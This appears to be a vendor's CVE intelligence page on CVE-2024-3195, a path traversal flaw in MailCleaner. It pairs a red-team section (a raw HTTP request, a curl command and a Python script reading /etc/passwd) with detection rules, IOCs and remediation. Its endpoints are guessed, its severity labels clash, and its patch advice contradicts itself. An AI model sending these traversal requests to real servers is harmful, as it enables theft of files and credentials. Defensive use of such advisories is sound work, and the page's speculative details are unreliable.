☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.7 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-3195

CVE-2024-3195 Path Traversal in Mailcleaner
📅 PUBLISHED: 2024-04-29 06:22 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 2023.03.14
CVSS VECTOR BREAKDOWN 4.7
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
4.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-3195 is a critical path traversal vulnerability identified in MailCleaner, an email filtering and security appliance. The flaw resides in the Admin Endpoints component, allowing an unauthenticated remote attacker to traverse directories and read arbitrary files on the server. The vulnerability affects versions up to and including 2023.03.14. While the CVSS score is 4.7 (Medium), the public availability of an exploit and the potential for sensitive data exposure (e.g., configuration files, credentials) elevate the risk. No official patch has been confirmed, and the vendor recommends applying a fix.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone appliance vulnerability.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.7 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Attack Vector: Network (AV:N) - Exploitable remotely.
  • Attack Complexity: Low (AC:L) - No special conditions required.
  • Privileges Required: None (PR:N) - No authentication needed.
  • User Interaction: None (UI:N) - No user action required.
  • Scope: Unchanged (S:U) - The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: Low (C:L) - Limited file read access.
  • Integrity Impact: None (I:N) - No file modification.
  • Availability Impact: None (A:N) - No denial of service.

Threat Level: High (due to public exploit and potential for credential theft).

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) in the Admin Endpoints of MailCleaner. The application fails to properly sanitize user-supplied input when handling file paths. An attacker can inject sequences like ../ to escape the intended directory and access arbitrary files on the filesystem.

Root Cause: The application likely uses a function like file_get_contents() or readfile() in PHP without validating the input path against a whitelist of allowed files or stripping path traversal sequences.

Attack Vector: The attacker sends a crafted HTTP request to an admin endpoint (e.g., /admin/readfile.php?file=../../etc/passwd). The server processes the request and returns the contents of the requested file.

Impact: An attacker can read sensitive files such as:

  • /etc/passwd (user enumeration)
  • /etc/shadow (password hashes, if readable)
  • Configuration files containing database credentials or API keys
  • Application source code (to find further vulnerabilities)

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP):

<?php
$file = $_GET['file'];
$content = file_get_contents('/var/www/admin/files/' . $file);
echo $content;
?>

Patched Code (Conceptual PHP):

<?php
$file = basename($_GET['file']);
$allowed_dir = '/var/www/admin/files/';
$full_path = realpath($allowed_dir . $file);
if (strpos($full_path, $allowed_dir) === 0) {
    $content = file_get_contents($full_path);
    echo $content;
} else {
    http_response_code(403);
    echo "Access denied.";
}
?>

The patched version uses basename() to strip directory components and realpath() to resolve the full path, then checks that the resolved path starts with the allowed directory.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A vulnerable MailCleaner instance (version <= 2023.03.14)
  • Network access to the admin web interface

Exploit Steps:

  1. Identify the admin endpoint (e.g., /admin/readfile.php or /admin/download.php).
  2. Craft a request with path traversal payload:
    GET /admin/readfile.php?file=../../../../etc/passwd HTTP/1.1
    Host: target-mailcleaner.local
    
  3. Observe the response containing the file contents.

Example using cURL:

curl -v "http://target-mailcleaner.local/admin/readfile.php?file=../../../../etc/passwd"

Automated Exploit (Python):

import requests

target = "http://target-mailcleaner.local"
endpoint = "/admin/readfile.php"
payload = "../../../../etc/passwd"

response = requests.get(f"{target}{endpoint}?file={payload}")
print(response.text)

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests containing ../ or %2e%2e%2f patterns.
  • Alert on access to sensitive files like /etc/passwd or /etc/shadow via web requests.

Prevention:

  • Apply the vendor patch immediately.
  • Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
  • Restrict file read permissions on the server (e.g., ensure web server user cannot read /etc/shadow).

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests with ../ or %2e%2e%2f in the query string.
    • Requests to admin endpoints with file= parameter.
    • Outbound connections from the MailCleaner server to unknown IPs (if attacker exfiltrates data).
  • File System IOCs:

    • Unexpected access to /etc/passwd, /etc/shadow, or configuration files.
    • Modified web server logs showing path traversal attempts.
  • Log IOCs:

    • Web server logs containing entries like:
      192.168.1.100 - - [01/Apr/2024:12:34:56 +0000] "GET /admin/readfile.php?file=../../../../etc/passwd HTTP/1.1" 200 1234
      

Detection Engineering

YARA Rule

rule CVE_2024_3195_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting MailCleaner CVE-2024-3195"
        author = "Valters IT"
        date = "2024-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-3195"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e\\"
        $admin_endpoint = "/admin/"
    condition:
        any of ($traversal*) and $admin_endpoint
}

Sigma Rule

title: MailCleaner Path Traversal Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in MailCleaner admin endpoints
author: Valters IT
date: 2024/04/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e\\'
        cs-uri-stem|contains: '/admin/'
    condition: selection
falsepositives:
    - Legitimate use of '..' in file names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3195 MailCleaner Path Traversal Attempt"; flow:to_server,established; content:"/admin/"; http_uri; content:"../"; http_uri; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Actions:

    • Apply the vendor patch if available. If not, isolate the MailCleaner appliance from untrusted networks.
    • Implement a WAF rule to block path traversal patterns (e.g., ../, ..\\, %2e%2e%2f).
    • Restrict file system permissions so the web server user cannot read sensitive files.
  2. Long-term Fixes:

    • Upgrade to a patched version of MailCleaner once released.
    • Conduct a code review of all admin endpoints to ensure proper input validation.
    • Implement a file access whitelist for admin file read operations.
  3. Monitoring:

    • Enable detailed logging on the web server and monitor for path traversal attempts.
    • Set up alerts for unusual file access patterns.
  4. Compromise Assessment:

    • Check web server logs for any successful path traversal requests.
    • Review system logs for unauthorized access to sensitive files.
    • Rotate any credentials that may have been exposed.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"MailCleaner"
http.favicon.hash:123456789

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-3195/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.